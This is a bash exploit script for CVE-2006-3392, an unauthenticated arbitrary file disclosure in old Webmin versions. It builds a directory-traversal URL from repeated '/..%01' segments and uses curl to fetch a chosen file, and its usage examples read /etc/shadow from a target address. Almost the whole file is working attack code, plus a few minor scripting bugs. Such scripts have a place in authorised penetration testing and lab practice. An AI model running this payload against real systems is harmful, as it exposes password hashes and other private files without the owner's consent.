CVE-2006-3392.sh

#!/bin/bash
# CVE-2006-3392 
# Exploit Webmin < 1.29x
# Arbitrary File Disclosure

# Allow Ctrl+C to kill pingsweep
trap '
  trap - INT # restore default INT handler
  kill -s INT "$$"
' INT

if [ -z "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ] ; then
		# This option displays a help message and command execution examples
		echo ""
		echo "OsbornePro CVE-2006-3392 1.0 ( https://roberthosborne.com )"
		echo ""
		echo "USAGE: ./CVE-2006-3392.sh <target_ip> <port> http|https <path_to_file>"
		echo ""
		echo "OPTIONS:"
		echo "  -h : Displays the help information for the command."
		echo ""
		echo "EXAMPLES:"
		echo "  ./CVE-2006-3392.sh 10.10.10.141 80 http /etc/shadow"
		echo "  # This example reads /etc/shadow from the target 10.10.10.141"
		echo ""
		echo "  ./CVE-2006-3392.sh 10.10.10.141 443 https /etc/shadow"
		echo "  # This example reads /etc/shadow from the target 10.10.10.141 using HTTPS"
		echo ""
		exit
# Variable validation------------------------------------------------
elif [[ "$1" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]] || ERROR="Valid IP address was not defined. For more help use the -h option"; then
		
		# Validate first parameter was defined correctly
		if [ ! $ERROR ]; then
			# Validate correct amount of positional parameters are defined
			if [ -n "$5" ]; then
				echo "Too many positional parameters have been defined. Execute './CVE-2006-3392.sh -h' for help"
				echo ""
				exit
			fi
		else
			echo $ERROR
			echo ""
			exit
		fi
		# Validate positional parameter 2 is an integer between 1 and 65535
		if [ "$2" -lt 65535 ] && [ "$2" -ge 1 ] || ERROR="The port you defined needs to be an integer between 1 and 65535"; then
			if [ ! $ERROR ]; then
				PORT=$2
			else
				echo $ERROR
				echo ""
				exit
			fi
		fi
		# Validate positional parameter 3 is http or https
		PROTOCOL=$(tr "[:upper:]" "[:lower:]" <<< "$3")
		if [ "$PROTOCOL" == "http" ] || [ "$PROTOCOL" == "https"]; then
			:
		else
		        ERROR="Third parameter needs to be http or https"
			if [ ! $ERROR ]; then
				echo $ERROR
				echo ""
				exit
			fi
		fi
		# If the file does not exist on the target curl will return a 404 error
fi

REPEAT='/..%01'
PAYLOAD=$(for i in $(seq 1 40); do echo -ne ${REPEAT}; done)
URI="unauthenticated${PAYLOAD}"
URL="${PROTOCOL}://${1}:${PORT}/${URI}${4}"

if [ $PROTOCOL == 'https' ]; then
	curl -k -sL $URL -m 10
	echo "${URL}"
elif [ $PROTOCOL == 'http' ]; then
	curl -sL $URL -m 10
else
	printf "I don't know what you did. Whatever it was was just wrong :)\n"
fi